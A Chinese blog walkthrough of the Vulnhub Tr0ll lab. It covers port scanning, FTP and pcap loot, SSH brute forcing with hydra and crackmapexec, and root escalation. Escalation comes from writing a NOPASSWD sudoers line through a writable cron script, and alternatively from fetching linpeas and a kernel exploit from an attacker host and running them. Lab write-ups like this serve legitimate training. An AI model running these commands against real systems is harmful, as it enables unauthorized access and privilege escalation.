Vulnhub Tr0ll

0x01:端口扫描

主机发现

nmap -sn 192.168.231.0/24

image-20241120173342687

IP地址为192.168.231.137

全端口扫描

nmap --min-rate 10000 -p- 192.168.231.137

image-20241120173533581

开放了21ftp,22ssh,80http

UDP扫描

nmap -sU --min-rate 10000 -p- 192.168.231.137

image-20241120173837287

无UDP端口开放

接下来进行详细端口扫描

nmap -sT -sC -sV -O --min-rate 10000 -p21,22,80 192.168.231.137

image-20241120174213886

发现FTP可以匿名登录,http页面有robots.txt,web服务为Apache2.4.7

漏洞扫描

nmap --script=vuln -p21,22,80 192.168.231.137

image-20241120183628398

枚举出了一个关键目录:/secret

0x02:FTP渗透

我们匿名登陆后,先切换成binary模式

image-20241120181043049

查看当前路径和当前文件夹内容

pwd
ls -liah

image-20241120181203919

发现只有一个lol.pcap的流量包,我们把它get下来

对于在渗透测试中的流量包分析,我们一般用strings去分析他,而不是用wireshark

image-20241120181745132

对于流量包的分析,我们得到一个关键信息

secret_stuff.txt文件中,我们获得一个关键值sup3rs3cr3tdirlol

0x03:web渗透

扫目录

dirsearch -u http://192.168.231.137

image-20241125171326251

和之前目录枚举出的结果一致

image-20241125171352801

但还是没有什么可用信息

image-20241125171434094

我们再扫一遍目录

dirsearch -u 192.168.231.137/secret

没有任何结果

这时候我们想到我们之前在FTP上获取到了一串字符,现在怀疑是目录,我们试试看

image-20241125171720898

果然,我们把这个二进制文件下载下来后,查看

strings roflmao

看了一下,基本上就是这个东西了

image-20241125171949726

这玩意很抽象,谁家把二进制地址做目录啊

image-20241125172100848

image-20241125172128077

image-20241125172152349

这大概率就是ssh

我们hydra爆破

hydra -L ~/test/user.txt -P ~/test/pass.txt -Vv -t 20 192.168.231.137 ssh

image-20241125173638595

我们尝试了很多次后都不行,手动输入也不行,实在是想不到了,看了看wp发现密码居然是Pass.txt!这谁想得到

但是我们更改后发现还是爆破不出来,原因我们放在最后

我们还可以使用crackmapexec来进行爆破

crackmapexec ssh 192.168.231.137 -u user.txt -p pass.txt --continue-on-success

image-20241125174517535

发现限制了次数,我们只好调换一下顺序了,发现只有这一个用户可以正常登录

0x04:权限提升

提升交互性

/bin/bash
python -c 'import pty; pty.spawn("/bin/bash");'

信息收集

uname -a
cat /etc/issue

发现是一台Ubuntu的机子,内核版本为Linux troll 3.13.0-32-generic,操作系统为Ubuntu 14.04.1

在这个时候突然把我弹出去了

image-20241125175356587

应该是有自动任务到一定时间把我弹出去了,那我们现在考虑应该有两种提权方法

一是有自动任务,考虑自动任务提权

二是因为系统内核版本低,考虑内核提权

我们先看第一种,第二种放到最后来讲

image-20241125182447461

cat命令用不了,我们看看哪些命令具有SUID权限

find / -type f -perm -04000 -ls 2>/dev/null

image-20241125182544876

发现没有什么命令可以平替cat,那我们就换一个目录查看自动任务

find / -type f -name "cronlog" 2>/dev/null
cat /var/log/cronlog

image-20241125183015052

成功找到一个cleaner.py文件,我们定位一下

find / -type f -name "cleaner.py" 2>/dev/null

image-20241125183335834

cat /lib/log/cleaner.py

image-20241125183439849

发现这个任务会自动删除/tmp目录下的任意文件

我们在os.system处修改其内容如下进行提权

vim /lib/log/cleaner.py
echo "overflow ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers

但是我发现我的kali上远程ssh连用vim会直接卡死,大哥怀疑是ssh问题,升级后第一次可以了,第二次又死了,那应该是kali或者VM的问题,还是直接用Windows吧

image-20241125205018066

等他一下,然后运行

sudo /bin/bash

成功提权

image-20241125205509811

0x05:思考总结

1.为什么crackmapexec能爆破出来,而hydra却不行呢?

首先我们通过刚才知道,他的ssh有爆破限制,crackmapexec的工作方式是每次尝试建立一个新连接的方式,而hydra的工作方式是多线程并发的方式,从而被服务器拒绝

我们刚才hydra的指令是

hydra -L ~/test/user.txt -P ~/test/pass.txt -Vv -t 20 192.168.231.137 ssh

其中-t是设置线程数,我们把它删掉

hydra -L ~/test/user.txt -P ~/test/pass.txt -Vv 192.168.231.137 ssh

image-20241125182202376

成功使用hydra爆破出来,但是直观上来看并没有crackmapexec看起来那么舒服

2.使用内核提权方法

由于我们刚才已经清除了用于删除/tmp的自动文件,所以我们接下来在tmp目录下操作

我们首先上传linpeas.sh查看

wget http://192.168.231.138:6666/linpeas.sh
chmod 777 linpeas.sh
./linpeas.sh -a > rst.txt

image-20241125211703575

有三个highly probable漏洞,我们尝试

脏牛运行不了,我们尝试第三个

wget 192.168.231.138:6666/37292.c
gcc 37292.c -o 37292
chmod 777 37292
./37292

image-20241125213412260

成功提权!

posted @   kelec0ka  阅读(6)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 25岁的心里话
· 闲置电脑爆改个人服务器(超详细) #公网映射 #Vmware虚拟网络编辑器
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· 零经验选手,Compose 一天开发一款小游戏!
· 一起来玩mcp_server_sqlite,让AI帮你做增删改查!!
点击右上角即可分享
微信分享提示